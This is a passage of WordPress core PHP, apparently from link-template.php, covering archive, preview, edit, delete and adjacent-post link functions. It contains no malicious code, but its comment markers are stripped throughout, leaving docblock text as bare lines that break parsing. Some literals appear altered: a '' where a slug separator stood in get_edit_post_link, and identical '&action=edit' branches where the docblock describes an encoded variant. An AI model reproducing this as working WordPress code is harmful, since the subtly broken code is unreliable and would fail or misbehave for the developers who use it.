* @since 3.1.0
* @since 4.5.0 Support for posts was added.
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $post_type Post type.
* @return string|false The post type archive permalink. False if the post type
* does not exist or does not have an archive.
function get_post_type_archive_link( $post_type ) {
global $wp_rewrite;
$post_type_obj = get_post_type_object( $post_type );
if ( ! $post_type_obj ) {
return false;
}
if ( 'post' === $post_type ) {
$show_on_front = get_option( 'show_on_front' );
$page_for_posts = get_option( 'page_for_posts' );
if ( 'page' === $show_on_front && $page_for_posts ) {
$link = get_permalink( $page_for_posts );
} else {
$link = get_home_url();
}
* This filter is documented in wp-includes/link-template.php
return apply_filters( 'post_type_archive_link', $link, $post_type );
}
if ( ! $post_type_obj->has_archive ) {
return false;
}
if ( get_option( 'permalink_structure' ) && is_array( $post_type_obj->rewrite ) ) {
$struct = ( true === $post_type_obj->has_archive ) ? $post_type_obj->rewrite['slug'] : $post_type_obj->has_archive;
if ( $post_type_obj->rewrite['with_front'] ) {
$struct = $wp_rewrite->front . $struct;
} else {
$struct = $wp_rewrite->root . $struct;
}
$link = home_url( user_trailingslashit( $struct, 'post_type_archive' ) );
} else {
$link = home_url( '?post_type=' . $post_type );
}
*
* Filters the post type archive permalink.
*
* @since 3.1.0
*
* @param string $link The post type archive permalink.
* @param string $post_type Post type name.
return apply_filters( 'post_type_archive_link', $link, $post_type );
}
*
* Retrieves the permalink for a post type archive feed.
*
* @since 3.1.0
*
* @param string $post_type Post type.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
* @return string|false The post type feed permalink. False if the post type
* does not exist or does not have an archive.
function get_post_type_archive_feed_link( $post_type, $feed = '' ) {
$default_feed = get_default_feed();
if ( empty( $feed ) ) {
$feed = $default_feed;
}
$link = get_post_type_archive_link( $post_type );
if ( ! $link ) {
return false;
}
$post_type_obj = get_post_type_object( $post_type );
if ( get_option( 'permalink_structure' ) && is_array( $post_type_obj->rewrite ) && $post_type_obj->rewrite['feeds'] ) {
$link = trailingslashit( $link );
$link .= 'feed/';
if ( $feed != $default_feed ) {
$link .= "$feed/";
}
} else {
$link = add_query_arg( 'feed', $feed, $link );
}
*
* Filters the post type archive feed link.
*
* @since 3.1.0
*
* @param string $link The post type archive feed link.
* @param string $feed Feed type. Possible values include 'rss2', 'atom'.
return apply_filters( 'post_type_archive_feed_link', $link, $feed );
}
*
* Retrieves the URL used for the post preview.
*
* Allows additional query args to be appended.
*
* @since 4.4.0
*
* @param int|WP_Post $post Optional. Post ID or `WP_Post` object. Defaults to global `$post`.
* @param array $query_args Optional. Array of additional query args to be appended to the link.
* Default empty array.
* @param string $preview_link Optional. Base preview link to be used if it should differ from the
* post permalink. Default empty.
* @return string|null URL used for the post preview, or null if the post does not exist.
function get_preview_post_link( $post = null, $query_args = array(), $preview_link = '' ) {
$post = get_post( $post );
if ( ! $post ) {
return;
}
$post_type_object = get_post_type_object( $post->post_type );
if ( is_post_type_viewable( $post_type_object ) ) {
if ( ! $preview_link ) {
$preview_link = set_url_scheme( get_permalink( $post ) );
}
$query_args['preview'] = 'true';
$preview_link = add_query_arg( $query_args, $preview_link );
}
*
* Filters the URL used for a post preview.
*
* @since 2.0.5
* @since 4.0.0 Added the `$post` parameter.
*
* @param string $preview_link URL used for the post preview.
* @param WP_Post $post Post object.
return apply_filters( 'preview_post_link', $preview_link, $post );
}
*
* Retrieves the edit post link for post.
*
* Can be used within the WordPress loop or outside of it. Can be used with
* pages, posts, attachments, revisions, global styles, templates, and template parts.
*
* @since 2.3.0
* @since 6.3.0 Adds custom link for wp_navigation post types.
* Adds custom links for wp_template_part and wp_template post types.
*
* @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`.
* @param string $context Optional. How to output the '&' character. Default '&'.
* @return string|null The edit post link for the given post. Null if the post type does not exist
* or does not allow an editing UI.
function get_edit_post_link( $post = 0, $context = 'display' ) {
$post = get_post( $post );
if ( ! $post ) {
return;
}
if ( 'revision' === $post->post_type ) {
$action = '';
} elseif ( 'display' === $context ) {
$action = '&action=edit';
} else {
$action = '&action=edit';
}
$post_type_object = get_post_type_object( $post->post_type );
if ( ! $post_type_object ) {
return;
}
if ( ! current_user_can( 'edit_post', $post->ID ) ) {
return;
}
$link = '';
if ( 'wp_template' === $post->post_type || 'wp_template_part' === $post->post_type ) {
$slug = urlencode( get_stylesheet() . '' . $post->post_name );
$link = admin_url( sprintf( $post_type_object->_edit_link, $post->post_type, $slug ) );
} elseif ( 'wp_navigation' === $post->post_type ) {
$link = admin_url( sprintf( $post_type_object->_edit_link, (string) $post->ID ) );
} elseif ( $post_type_object->_edit_link ) {
$link = admin_url( sprintf( $post_type_object->_edit_link . $action, $post->ID ) );
}
*
* Filters the post edit link.
*
* @since 2.3.0
*
* @param string $link The edit link.
* @param int $post_id Post ID.
* @param string $context The link context. If set to 'display' then ampersands
* are encoded.
return apply_filters( 'get_edit_post_link', $link, $post->ID, $context );
}
*
* Displays the edit post link for post.
*
* @since 1.0.0
* @since 4.4.0 The `$css_class` argument was added.
*
* @param string $text Optional. Anchor text. If null, default is 'Edit This'. Default null.
* @param string $before Optional. Display before edit link. Default empty.
* @param string $after Optional. Display after edit link. Default empty.
* @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`.
* @param string $css_class Optional. Add custom class to link. Default 'post-edit-link'.
function edit_post_link( $text = null, $before = '', $after = '', $post = 0, $css_class = 'post-edit-link' ) {
$post = get_post( $post );
if ( ! $post ) {
return;
}
$url = get_edit_post_link( $post->ID );
if ( ! $url ) {
return;
}
if ( null === $text ) {
$text = __( 'Edit This' );
}
$link = '<a class="' . esc_attr( $css_class ) . '" href="' . esc_url( $url ) . '">' . $text . '</a>';
*
* Filters the post edit link anchor tag.
*
* @since 2.3.0
*
* @param string $link Anchor tag for the edit link.
* @param int $post_id Post ID.
* @param string $text Anchor text.
echo $before . apply_filters( 'edit_post_link', $link, $post->ID, $text ) . $after;
}
*
* Retrieves the delete posts link for post.
*
* Can be used within the WordPress loop or outside of it, with any post type.
*
* @since 2.9.0
*
* @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`.
* @param string $deprecated Not used.
* @param bool $force_delete Optional. Whether to bypass Trash and force deletion. Default false.
* @return string|void The delete post link URL for the given post.
function get_delete_post_link( $post = 0, $deprecated = '', $force_delete = false ) {
if ( ! empty( $deprecated ) ) {
_deprecated_argument( __FUNCTION__, '3.0.0' );
}
$post = get_post( $post );
if ( ! $post ) {
return;
}
$post_type_object = get_post_type_object( $post->post_type );
if ( ! $post_type_object ) {
return;
}
if ( ! current_user_can( 'delete_post', $post->ID ) ) {
return;
}
$action = ( $force_delete || ! EMPTY_TRASH_DAYS ) ? 'delete' : 'trash';
$delete_link = add_query_arg( 'action', $action, admin_url( sprintf( $post_type_object->_edit_link, $post->ID ) ) );
*
* Filters the post delete link.
*
* @since 2.9.0
*
* @param string $link The delete link.
* @param int $post_id Post ID.
* @param bool $force_delete Whether to bypass the Trash and force deletion. Default false.
return apply_filters( 'get_delete_post_link', wp_nonce_url( $delete_link, "$action-post_{$post->ID}" ), $post->ID, $force_delete );
}
*
* Retrieves the edit comment link.
*
* @since 2.3.0
*
* @param int|WP_Comment $comment_id Optional. Comment ID or WP_Comment object.
* @return string|void The edit comment link URL for the given comment.
function get_edit_comment_link( $comment_id = 0 ) {
$comment = get_comment( $comment_id );
if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) {
return;
}
$location = admin_url( 'comment.php?action=editcomment&c=' ) . $comment->comment_ID;
*
* Filters the comment edit link.
*
* @since 2.3.0
*
* @param string $location The edit link.
return apply_filters( 'get_edit_comment_link', $location );
}
*
* Displays the edit comment link with formatting.
*
* @since 1.0.0
*
* @param string $text Optional. Anchor text. If null, default is 'Edit This'. Default null.
* @param string $before Optional. Display before edit link. Default empty.
* @param string $after Optional. Display after edit link. Default empty.
function edit_comment_link( $text = null, $before = '', $after = '' ) {
$comment = get_comment();
if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) {
return;
}
if ( null === $text ) {
$text = __( 'Edit This' );
}
$link = '<a class="comment-edit-link" href="' . esc_url( get_edit_comment_link( $comment ) ) . '">' . $text . '</a>';
*
* Filters the comment edit link anchor tag.
*
* @since 2.3.0
*
* @param string $link Anchor tag for the edit link.
* @param string $comment_id Comment ID as a numeric string.
* @param string $text Anchor text.
echo $before . apply_filters( 'edit_comment_link', $link, $comment->comment_ID, $text ) . $after;
}
*
* Displays the edit bookmark link.
*
* @since 2.7.0
*
* @param int|stdClass $link Optional. Bookmark ID. Default is the ID of the current bookmark.
* @return string|void The edit bookmark link URL.
function get_edit_bookmark_link( $link = 0 ) {
$link = get_bookmark( $link );
if ( ! current_user_can( 'manage_links' ) ) {
return;
}
$location = admin_url( 'link.php?action=edit&link_id=' ) . $link->link_id;
*
* Filters the bookmark edit link.
*
* @since 2.7.0
*
* @param string $location The edit link.
* @param int $link_id Bookmark ID.
return apply_filters( 'get_edit_bookmark_link', $location, $link->link_id );
}
*
* Displays the edit bookmark link anchor content.
*
* @since 2.7.0
*
* @param string $link Optional. Anchor text. If empty, default is 'Edit This'. Default empty.
* @param string $before Optional. Display before edit link. Default empty.
* @param string $after Optional. Display after edit link. Default empty.
* @param int $bookmark Optional. Bookmark ID. Default is the current bookmark.
function edit_bookmark_link( $link = '', $before = '', $after = '', $bookmark = null ) {
$bookmark = get_bookmark( $bookmark );
if ( ! current_user_can( 'manage_links' ) ) {
return;
}
if ( empty( $link ) ) {
$link = __( 'Edit This' );
}
$link = '<a href="' . esc_url( get_edit_bookmark_link( $bookmark ) ) . '">' . $link . '</a>';
*
* Filters the bookmark edit link anchor tag.
*
* @since 2.7.0
*
* @param string $link Anchor tag for the edit link.
* @param int $link_id Bookmark ID.
echo $before . apply_filters( 'edit_bookmark_link', $link, $bookmark->link_id ) . $after;
}
*
* Retrieves the edit user link.
*
* @since 3.5.0
*
* @param int $user_id Optional. User ID. Defaults to the current user.
* @return string URL to edit user page or empty string.
function get_edit_user_link( $user_id = null ) {
if ( ! $user_id ) {
$user_id = get_current_user_id();
}
if ( empty( $user_id ) || ! current_user_can( 'edit_user', $user_id ) ) {
return '';
}
$user = get_userdata( $user_id );
if ( ! $user ) {
return '';
}
if ( get_current_user_id() == $user->ID ) {
$link = get_edit_profile_url( $user->ID );
} else {
$link = add_query_arg( 'user_id', $user->ID, self_admin_url( 'user-edit.php' ) );
}
*
* Filters the user edit link.
*
* @since 3.5.0
*
* @param string $link The edit link.
* @param int $user_id User ID.
return apply_filters( 'get_edit_user_link', $link, $user->ID );
}
Navigation links.
*
* Retrieves the previous post that is adjacent to the current post.
*
* @since 1.5.0
*
* @param bool $in_same_term Optional. Whether post should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
* @return WP_Post|null|string Post object if successful. Null if global `$post` is not set.
* Empty string if no corresponding post exists.
function get_previous_post( $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
return get_adjacent_post( $in_same_term, $excluded_terms, true, $taxonomy );
}
*
* Retrieves the next post that is adjacent to the current post.
*
* @since 1.5.0
*
* @param bool $in_same_term Optional. Whether post should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
* @return WP_Post|null|string Post object if successful. Null if global `$post` is not set.
* Empty string if no corresponding post exists.
function get_next_post( $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
return get_adjacent_post( $in_same_term, $excluded_terms, false, $taxonomy );
}
*
* Retrieves the adjacent post.
*
* Can either be next or previous post.
*
* @since 2.5.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param bool $in_same_term Optional. Whether post should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty string.
* @param bool $previous Optional. Whether to retrieve previous post.
* Default true.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
* @return WP_Post|null|string Post object if successful. Null if global `$post` is not set.
* Empty string if no corresponding post exists.
function get_adjacent_post( $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
global $wpdb;
$post = get_post();
if ( ! $post || ! taxonomy_exists( $taxonomy ) ) {
return null;
}
$current_post_date = $post->post_date;
$join = '';
$where = '';
$adjacent = $previous ? 'previous' : 'next';
if ( ! empty( $excluded_terms ) && ! is_array( $excluded_terms ) ) {
Back-compat, $excluded_terms used to be $excluded_categories with IDs separated by " and ".
if ( str_contains( $excluded_terms, ' and ' ) ) {
_deprecated_argument(
__FUNCTION__,
'3.3.0',
sprintf(
translators: %s: The word 'and'.
__( 'Use commas instead of %s to separate excluded terms.' ),
"'and'"
)
);
$excluded_terms = explode( ' and ', $excluded_terms );
} else {
$excluded_terms = explode( ',', $excluded_terms );
}
$excluded_terms = array_map( 'intval', $excluded_terms );
}
*
* Filters the IDs of terms excluded from adjacent post queries.
*
* The dynamic portion of the hook name, `$adjacent`, refers to the type
* of adjacency, 'next' or 'previous'.
*
* Possible hook names include:
*
* - `get_next_post_excluded_terms`
* - `get_previous_post_excluded_terms`
*
* @since 4.4.0
*
* @param int[]|string $excluded_terms Array of excluded term IDs. Empty string if none were provided.
$excluded_terms = apply_filters( "get_{$adjacent}_post_excluded_terms", $excluded_terms );
if ( $in_same_term || ! empty( $excluded_terms ) ) {
if ( $in_same_term ) {
$join .= " INNER JOIN $wpdb->term_relationships AS tr ON p.ID = tr.object_id INNER JOIN $wpdb->term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id";
$where .= $wpdb->prepare( 'AND tt.taxonomy = %s', $taxonomy );
if ( ! is_object_in_taxonomy( $post->post_type, $taxonomy ) ) {
return '';
}
$term_array = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );
Remove any exclusions from the term array to include.
$term_array = array_diff( $term_array, (array) $excluded_terms );
$term_array = array_map( 'intval', $term_array );
if ( ! $term_array || is_wp_error( $term_array ) ) {
return '';
}
$where .= ' AND tt.term_id IN (' . implode( ',', $term_array ) . ')';
}
if ( ! empty( $excluded_terms ) ) {
$where .= " AND p.ID NOT IN ( SELECT tr.object_id FROM $wpdb->term_relationships tr LEFT JOIN $wpdb->term_taxonomy tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id) WHERE tt.term_id IN (" . implode( ',', array_map( 'intval', $excluded_terms ) ) . ') )';
}
}
'post_status' clause depends on the current user.
if ( is_user_logged_in() ) {
$user_id = get_current_user_id();
$post_type_object = get_post_type_object( $post->post_type );
if ( empty( $post_type_object ) ) {
$post_type_cap = $post->post_type;
$read_private_cap = 'read_private_' . $post_type_cap . 's';
} else {
$read_private_cap = $post_type_object->cap->read_private_posts;
}
* Results should include private posts belonging to the current user, or private posts where the
* current user has the 'read_private_posts' cap.
$private_states = get_post_stati( array( 'private' => true ) );
$where .= " AND ( p.post_status = 'publish'";
foreach ( $private_states as $state ) {
if ( current_user_can( $read_private_cap ) ) {
$where .= $wpdb->prepare( ' OR p.post_status = %s', $state );
} else {
$where .= $wpdb->prepare( ' OR (p.post_author = %d AND p.post_status = %s)', $user_id, $state );
}
}
$where .= ' )';
} else {
$where .= " AND p.post_status = 'publish'";
}
$op = $previous ? '<' : '>';
$order = $previous ? 'DESC' : 'ASC';
*
* Filters the JOIN clause in the SQL for an adjacent post query.
*
* The dynamic portion of the hook name, `$adjacent`, refers to the type
* of adjacency, 'next' or 'previous'.
*
* Possible hook names include:
*
* - `get_next_post_join`
* - `get_previous_post_join`
*
* @since 2.5.0
* @since 4.4.0 Added the `$taxonomy` and `$post` parameters.
*
* @param string $join The JOIN clause in the SQL.
* @param bool $in_same_term Whether post should be in the same taxonomy term.
* @param int[]|string $excluded_terms Array of excluded term IDs. Empty string if none were provided.
* @param string $taxonomy Taxonomy. Used to identify the term used when `$in_same_term` is true.
* @param WP_Post $post WP_Post object.
$join = apply_filters( "get_{$adjacent}_post_join", $join, $in_same_term, $excluded_terms, $taxonomy, $post );
*
* Filters the WHERE clause in the SQL for an adjacent post query.
*
* The dynamic portion of the hook name, `$adjacent`, refers to the type
* of adjacency, 'next' or 'previous'.
*
* Possible hook names include:
*
* - `get_next_post_where`
* - `get_previous_post_where`
*
* @since 2.5.0
* @since 4.4.0 Added the `$taxonomy` and `$post` parameters.
*
* @param string $where The `WHERE` clause in the SQL.
* @param bool $in_same_term Whether post should be in the same taxonomy term.
* @param int[]|string $excluded_terms Array of excluded term IDs. Empty string if none were provided.
* @param string $taxonomy Taxonomy. Used to identify the term used when `$in_same_term` is true.
* @param WP_Post $post WP_Post object.
$where = apply_filters( "get_{$adjacent}_post_where", $wpdb->prepare( "WHERE p.post_date $op %s AND p.post_type = %s $where", $current_post_date, $post->post_type ), $in_same_term, $excluded_terms, $taxonomy, $post );
*
* Filters the ORDER BY clause in the SQL for an adjacent post query.
*
* The dynamic portion of the hook name, `$adjacent`, refers to the type
* of adjacency, 'next' or 'previous'.
*
* Possible hook names include:
*
* - `get_next_post_sort`
* - `get_previous_post_sort`
*
* @since 2.5.0
* @since 4.4.0 Added the `$post` parameter.
* @since 4.9.0 Added the `$order` parameter.
*
* @param string $order_by The `ORDER BY` clause in the SQL.
* @param WP_Post $post WP_Post object.
* @param string $order Sort order. 'DESC' for previous post, 'ASC' for next.
$sort = apply_filters( "get_{$adjacent}_post_sort", "ORDER BY p.post_date $order LIMIT 1", $post, $order );
$query = "SELECT p.ID FROM $wpdb->posts AS p $join $where $sort";
$key = md5( $query );
$last_changed = wp_cache_get_last_changed( 'posts' );
if ( $in_same_term || ! empty( $excluded_terms ) ) {
$last_changed .= wp_cache_get_last_changed( 'terms' );
}
$cache_key = "adjacent_post:$key:$last_changed";
$result = wp_cache_get( $cache_key, 'post-queries' );
if ( false !== $result ) {
if ( $result ) {
$result = get_post( $result );
}
return $result;
}
$result = $wpdb->get_var( $query );
if ( null === $result ) {
$result = '';
}
wp_cache_set( $cache_key, $result, 'post-queries' );
if ( $result ) {
$result = get_post( $result );
}
return $result;
}
*
* Retrieves the adjacent post relational link.
*
* Can either be next or previous post relational link.
*
* @since 2.8.0
*
* @param string $title Optional. Link title format. Default '%title'.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param bool $previous Optional. Whether to display link to previous or next post.
* Default true.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
* @return string|void The adjacent post relational link URL.
function get_adjacent_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
$post = get_post();
if ( $previous && is_attachment() && $post ) {
$post = get_post( $post->post_parent );
} else {
$post = get_adjacent_post( $in_same_term, $excluded_terms, $previous, $taxonomy );
}
if ( empty( $post ) ) {
return;
}
$post_title = the_title_attribute(
array(
'echo' => false,
'post' => $post,
)
);
if ( empty( $post_title ) ) {
$post_title = $previous ? __( 'Previous Post' ) : __( 'Next Post' );
}
$date = mysql2date( get_option( 'date_format' ), $post->post_date );
$title = str_replace( '%title', $post_title, $title );
$title = str_replace( '%date', $date, $title );
$link = $previous ? "<link rel='prev' title='" : "<link rel='next' title='";
$link .= esc_attr( $title );
$link .= "' href='" . get_permalink( $post ) . "' />\n";
$adjacent = $previous ? 'previous' : 'next';
*
* Filters the adjacent post relational link.
*
* The dynamic portion of the hook name, `$adjacent`, refers to the type
* of adjacency, 'next' or 'previous'.
*
* Possible hook names include:
*
* - `next_post_rel_link`
* - `previous_post_rel_link`
*
* @since 2.8.0
*
* @param string $link The relational link.
return apply_filters( "{$adjacent}_post_rel_link", $link );
}
*
* Displays the relational links for the posts adjacent to the current post.
*
* @since 2.8.0
*
* @param string $title Optional. Link title format. Default '%title'.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
function adjacent_posts_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, true, $taxonomy );
echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, false, $taxonomy );
}
*
* Displays relational links for the posts adjacent to the current post for single post pages.
*
* This is meant to be attached to actions like 'wp_head'. Do not call this directly in plugins
* or theme templates.
*
* @since 3.0.0
* @since 5.6.0 No longer used in core.
*
* @see adjacent_posts_rel_link()
function adjacent_posts_rel_link_wp_head() {
if ( ! is_single() || is_attachment() ) {
return;
}
adjacent_posts_rel_link();
}
*
* Displays the relational link for the next post adjacent to the current post.
*
* @since 2.8.0
*
* @see get_adjacent_post_rel_link()
*
* @param string $title Optional. Link title format. Default '%title'.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
function next_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, false, $taxonomy );
}
*
* Displays the relational link for the previous post adjacent to the current post.
*
* @since 2.8.0
*
* @see get_adjacent_post_rel_link()
*
* @param string $title Optional. Link title format. Default '%title'.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default true.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
function prev_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, true, $taxonomy );
}
*
* Retrieves the boundary post.
*
* Boundary being either the first or last post by publish date within the constraints specified
* by `$in_same_term` or `$excluded_terms`.
*
* @since 2.8.0
*
* @param bool $in_same_term Optional. Whether returned post should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param bool $start Optional. Whether to retrieve first or last post.
* Default true.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
* @return array|null Array containing the boundary post object if successful, null otherwise.
function get_boundary_post( $in_same_term = false, $excluded_terms = '', $start = true, $taxonomy = 'category' ) {
$post = get_post();
if ( ! $post || ! is_single() || is_attachment() || ! taxonomy_exists( $taxonomy ) ) {
return null;
}
$query_args = array(
'posts_per_page' => 1,
'order' => $start ? 'ASC' : 'DESC',
'update_post_term_cache' => false,
'update_post_meta_cache' => false,
);
$term_array = array();
if ( ! is_array( $excluded_terms ) ) {
if ( ! empty( $excluded_terms ) ) {
$excluded_terms = explode( ',', $excluded_terms );
} else {
$excluded_terms = array();
}
}
if ( $in_same_term || ! empty( $excluded_terms ) ) {
if ( $in_same_term ) {
$term_array = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );
}
if ( ! empty( $excluded_terms ) ) {
$excluded_terms = array_map( 'intval', $excluded_terms );
$excluded_terms = array_diff( $excluded_terms, $term_array );
$inverse_terms = array();
foreach ( $excluded_terms as $excluded_term ) {
$inverse_terms[] = $excluded_term * -1;
}
$excluded_terms = $inverse_terms;
}
$query_args['tax_query'] = array(
array(
'taxonomy' => $taxonomy,
'terms' => array_merge( $term_array, $excluded_terms ),
),
);
}
return get_posts( $query_args );
}
*
* Retrieves the previous post link that is adjacent to the current post.
*
* @since 3.7.0
*
* @param string $format Optional. Link anchor format. Default '« %link'.
* @param string $link Optional. Link permalink format. Default '%title'.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
* @return string The link URL of the previous post in relation to the current post.
function get_previous_post_link( $format = '« %link', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
return get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, true, $taxonomy );
}
*
* Displays the previous post link that is adjacent to the current post.
*
* @since 1.5.0
*
* @see get_previous_post_link()
*
* @param string $format Optional. Link anchor format. Default '« %link'.
* @param string $link Optional. Link permalink format. Default '%title'.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
function previous_post_link( $format = '« %link', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
echo get_previous_post_link( $format, $link, $in_same_term, $excluded_terms, $taxonomy );
}
*
* Retrieves the next post link that is adjacent to the current post.
*
* @since 3.7.0
*
* @param string $format Optional. Link anchor format. Default '« %link'.
* @param string $link Optional. Link permalink format. Default '%title'.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
* @return string The link URL of the next post in relation to the current post.
function get_next_post_link( $format = '%link »', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
return get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, false, $taxonomy );
}
*
* Displays the next post link that is adjacent to the current post.
*
* @since 1.5.0
*
* @see get_next_post_link()
*
* @param string $format Optional. Link anchor format. Default '« %link'.
* @param string $link Optional. Link permalink format. Default '%title'.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
function next_post_link( $format = '%link »', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
echo get_next_post_link( $format, $link, $in_same_term, $excluded_terms, $taxonomy );
}
*
* Retrieves the adjacent post link.
*
* Can be either next post link or previous.
*
* @since 3.7.0
*
* @param string $format Link anchor format.
* @param string $link Link permalink format.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded terms IDs.
* Default empty.
* @param bool $previous Optional. Whether to display link to previous or next post.
* Default true.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
* @return string The link URL of the previous or next post in relation to the current post.
function get_adjacent_post_link( $format, $link, $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
if ( $previous && is_attachment() ) {
$post = get_post( get_post()->post_parent );
} else {
$post = get_adjacent_post( $in_same_term, $excluded_terms, $previous, $taxonomy );
}
if ( ! $post ) {
$output = '';
} else {
$title = $post->post_title;
if ( empty( $post->post_title ) ) {
$title = $previous ? __( 'Previous Post' ) : __( 'Next Post' );
}
* This filter is documented in wp-includes/post-template.php
$title = apply_filters( 'the_title', $title, $post->ID );
$date = mysql2date( get_option( 'date_format' ), $post->post_date );
$rel = $previous ? 'prev' : 'next';
$string = '<a href="' . get_permalink( $post ) . '" rel="' . $rel . '">';
$inlink = str_replace( '%title', $title, $link );
$inlink = str_replace( '%date', $date, $inlink );
$inlink = $string . $inlink . '</a>';
$output = str_replace( '%link', $inlink, $format );
}
$adjacent = $previous ? 'previous' : 'next';
*
* Filters the adjacent post link.
*
* The dynamic portion of the hook name, `$adjacent`, refers to the type
* of adjacency, 'next' or 'previous'.
*
* Possible hook names include:
*
* - `next_post_link`
* - `previous_post_link`
*
* @since 2.6.0
* @since 4.2.0 Added the `$adjacent` parameter.
*
* @param string $output The adjacent post link.
* @param string $format Link anchor format.
* @param string $link Link permalink format.
* @param WP_Post|string $post The adjacent post. Empty string if no corresponding post exists.
* @param string $adjacent Whether the post is previous or next.
return apply_filters( "{$adjacent}_post_link", $output, $format, $link, $post, $adjacent );
}
*
* Displays the adjacent post link.
*
* Can be either next post link or previous.
*
* @since 2.5.0
*
* @param string $format Link anchor format.
* @param string $link Link permalink format.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded category IDs.
* Default empty.
* @param bool $previous Optional. Whether to display link to previous or next post.
* Default true.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
function adjacent_post_link( $format, $link, $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
echo get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, $previous, $taxonomy );
}
*
* Retrieves the link for a page number.
*
* @since 1.5.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param int $pagenum Optional. Page number. Default 1.
* @param bool $escape Optional. Whether to escape the URL for display, with esc_url().
* If set to false, prepares the URL with sanitize_url(). Default true.
* @return string The link URL for the given page number.
function get_pagenum_link( $pagenum = 1, $escape = true ) {
global $wp_rewrite;
$pagenum = (int) $pagenum;
$request = remove_query_arg( 'paged' );
$home_root = parse_url( home_url() );
$home_root = ( isset( $home_root['path'] ) ) ? $home_root['path'] : '';
$home_root = preg_quote( $home_root, '|' );
